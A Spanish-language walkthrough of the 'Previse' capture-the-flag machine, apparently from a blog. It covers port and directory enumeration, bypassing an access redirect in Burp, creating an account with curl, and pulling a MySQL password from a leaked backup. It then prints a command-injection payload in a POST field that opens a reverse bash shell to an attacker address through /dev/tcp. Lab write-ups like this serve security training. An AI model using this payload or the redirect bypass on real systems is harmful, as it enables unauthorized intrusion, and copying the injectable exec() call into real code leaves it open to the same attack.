![La imagen tiene un atributo ALT vacío; su nombre de archivo es image-29.png](https://red-orbita.com/wp-content/uploads/2021/12/image-29.png)
Previse es un desafío catalogada como fácil para ganar acceso y media para elevación de privilegios.
En primer lugar, como siempre comenzamos lanzando un nmap para comprobar los puertos que están abiertos.
# Nmap 7.92 scan initiated Tue Dec 7 15:32:18 2021 as: nmap -p- --open -T5 -v -oG allPorts -n 10.10.11.104
# Ports scanned: TCP(65535;1-65535) UDP(0;) SCTP(0;) PROTOCOLS(0;)
Host: 10.10.11.104 () Status: Up
Host: 10.10.11.104 () Ports: 22/open/tcp//ssh///, 80/open/tcp//http/// Ignored State: closed (65533)
# Nmap done at Tue Dec 7 15:32:38 2021 -- 1 IP address (1 host up) scanned in 19.77 seconds
omo podemos ver únicamente tiene abierto los puertos 22 y 80.
Lanzamos Whatweb para intentar recabar mas datos
http://10.10.11.104/ [302 Found] Apache[2.4.29], Cookies[PHPSESSID], Country[RESERVED][ZZ], HTML5, HTTPServer[Ubuntu Linux][Apache/2.4.29 (Ubuntu)], IP[10.10.11.104], Meta-Author[m4lwhere], RedirectLocation[login.php], Script, Title[Previse Home]
http://10.10.11.104/login.php [200 OK] Apache[2.4.29], Cookies[PHPSESSID], Country[RESERVED][ZZ], HTML5, HTTPServer[Ubuntu Linux][Apache/2.4.29 (Ubuntu)], IP[10.10.11.104], Meta-Author[m4lwhere], PasswordField[password], Script, Title[Previse Login]
Al acceder al puerto 80 nos encontramos con la siguiente web la cual presenta un panel de acceso.
![](https://red-orbita.com/wp-content/uploads/2021/12/image-8-1024x550.png)
Probamos con contraseñas por defecto pero no conseguimos acceso. Al no conseguir acceso a la web seguimos con nuestro proceso de enumeración
Realizando el fuzz comprobamos que con los wordlist pequeños no nos encuentra nada. al realizarlo con /directory-list-lowercase-2.3-medium.txt empezamos a entrar cosas interesantes como: nav.php
gobuster dir -u 10.10.11.104 -w /usr/share/dirbuster/wordlists/directory-list-lowercase-2.3-medium.txt -e -s "200,301,302,401" -x "php" -t 100
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.10.11.104
[+] Method: GET
[+] Threads: 100
[+] Wordlist: /usr/share/dirbuster/wordlists/directory-list-lowercase-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.1.0
[+] Extensions: php
[+] Expanded: true
[+] Timeout: 10s
===============================================================
2021/12/07 16:13:02 Starting gobuster in directory enumeration mode
===============================================================
http://10.10.11.104/index.php (Status: 302) [Size: 2801] [--> login.php]
http://10.10.11.104/header.php (Status: 200) [Size: 980]
http://10.10.11.104/nav.php (Status: 200) [Size: 1248]
http://10.10.11.104/download.php (Status: 302) [Size: 0] [--> login.php]
http://10.10.11.104/login.php (Status: 200) [Size: 2224]
http://10.10.11.104/footer.php (Status: 200) [Size: 217]
http://10.10.11.104/css (Status: 301) [Size: 310] [--> http://10.10.11.104/css/]
http://10.10.11.104/status.php (Status: 302) [Size: 2971] [--> login.php]
http://10.10.11.104/js (Status: 301) [Size: 309] [--> http://10.10.11.104/js/]
http://10.10.11.104/logout.php (Status: 302) [Size: 0] [--> login.php]
http://10.10.11.104/accounts.php (Status: 302) [Size: 3994] [--> login.php]
http://10.10.11.104/config.php (Status: 200) [Size: 0]
http://10.10.11.104/files.php (Status: 302) [Size: 7240] [--> login.php]
http://10.10.11.104/logs.php (Status: 302) [Size: 0] [--> login.php]
http://10.10.11.104/server-status (Status: 403) [Size: 277]
Al acceder a nav.php nos encontramos con un pequeño menú
![](https://red-orbita.com/wp-content/uploads/2021/12/image-9-1024x309.png)
Nos damos cuenta que cuando intentamos acceder a sitio nos hacen una redirección a login.php
![](https://red-orbita.com/wp-content/uploads/2021/12/image-10-1024x549.png)
Abrimos Burp Suite y vamos a intentar manipular la respuesta del servidor (Más información)
![](https://red-orbita.com/wp-content/uploads/2021/12/image-13-1024x548.png)
Botón derecho sobre Intercept > Do Intercept > Response to this request
![](https://red-orbita.com/wp-content/uploads/2021/12/image-11-1024x549.png)
Cambiamos el código http 302 que nos devolvía la web por 200
![](https://red-orbita.com/wp-content/uploads/2021/12/image-15-1024x548.png)
Al volver de nuevo al navegador comprobamos que hemos podido acceder al apartado de «accounts.php»
![](https://red-orbita.com/wp-content/uploads/2021/12/image-16-1024x548.png)
Creamos un nuevo usuario
![](https://red-orbita.com/wp-content/uploads/2021/12/image-17-1024x550.png)
Volvemos a cambiar la respuesta: Botón derecho sobre Intercept > Do Intercept > Response to this request
![](https://red-orbita.com/wp-content/uploads/2021/12/image-18-1024x549.png)
Cambiamos el código http 302 que nos devolvía la web por 200
![](https://red-orbita.com/wp-content/uploads/2021/12/image-19-1024x552.png)
Al volver de nuevo al navegador nos encontramos que nos indica que se creo en usuario correctamente.
![](https://red-orbita.com/wp-content/uploads/2021/12/image-20-1024x550.png)
Una vez finalice la creación del usuario se me ocurrió que la podría haber hecho mediante curl
curl -is -X POST -d "username=admin&password=temporal01.&confirm=temporal01." 10.10.11.104/accounts.php
Accedemos con el usuario creado anteriormente.
![](https://red-orbita.com/wp-content/uploads/2021/12/image-21-1024x550.png)
Nos muestra un panel en donde podemos acceder a múltiple información
![](https://red-orbita.com/wp-content/uploads/2021/12/image-22-1024x550.png)
Vemos que en el apartado «file» un backup
![](https://red-orbita.com/wp-content/uploads/2021/12/image-23-1024x550.png)
Descomprimimos el archivo para buscar información sensible que nos pudiese ayudar.
unzip siteBackup.zip
Archive: siteBackup.zip
inflating: accounts.php
inflating: config.php
inflating: download.php
inflating: file_logs.php
inflating: files.php
inflating: footer.php
inflating: header.php
inflating: index.php
inflating: login.php
inflating: logout.php
inflating: logs.php
inflating: nav.php
inflating: status.php
Al descomprimir los ficheros encontramos en el archivo «config.php» un usuario y contraseña de MySQL
cat config.php
<?php
function connectDB(){
$host = 'localhost';
$user = 'root';
$passwd = 'mySQL_p@ssw0rd!:)';
$db = 'previse';
$mycon = new mysqli($host, $user, $passwd, $db);
return $mycon;
}
?>
Intentamos reutilizar la contraseña para acceder con otro usuario por ssh sin ningún resultado. Por lo tanto nos la guardamos por si nos pudiese servir para mas adelante.
Seguimos buscando… y en archivo logs.php encontramos un posible RCE (Más información) en la función exec()
$output = exec("/usr/bin/python /opt/scripts/log_process.py {$_POST['delim']}");
echo $output;
$filepath = "/var/www/out.log";
$filename = "out.log";
Accedemos nuevamente a la web al apartado file_logs.php, abrimos nuestro Burp Suite y el proxy
![](https://red-orbita.com/wp-content/uploads/2021/12/image-24-1024x551.png)
Modificamos la query y dejamos un NC escuchando
delim=comma%26/bin/bash+-c+'bash+-i+>+/dev/tcp/10.10.16.75/443+0>%261'
![](https://red-orbita.com/wp-content/uploads/2021/12/image-25-1024x548.png)
Una vez ejecutado la query volvemos al terminal donde hemos dejado escuchando NC
![](https://red-orbita.com/wp-content/uploads/2021/12/image-26.png)
Una vez hemos conseguido acceso al servidor nos valemos de la clave obtenida anteriormente ( $passwd = ‘mySQL_p@ssw0rd!:)’; ) para acceder al servicio de MySQL.
![](https://red-orbita.com/wp-content/uploads/2021/12/image-27.png)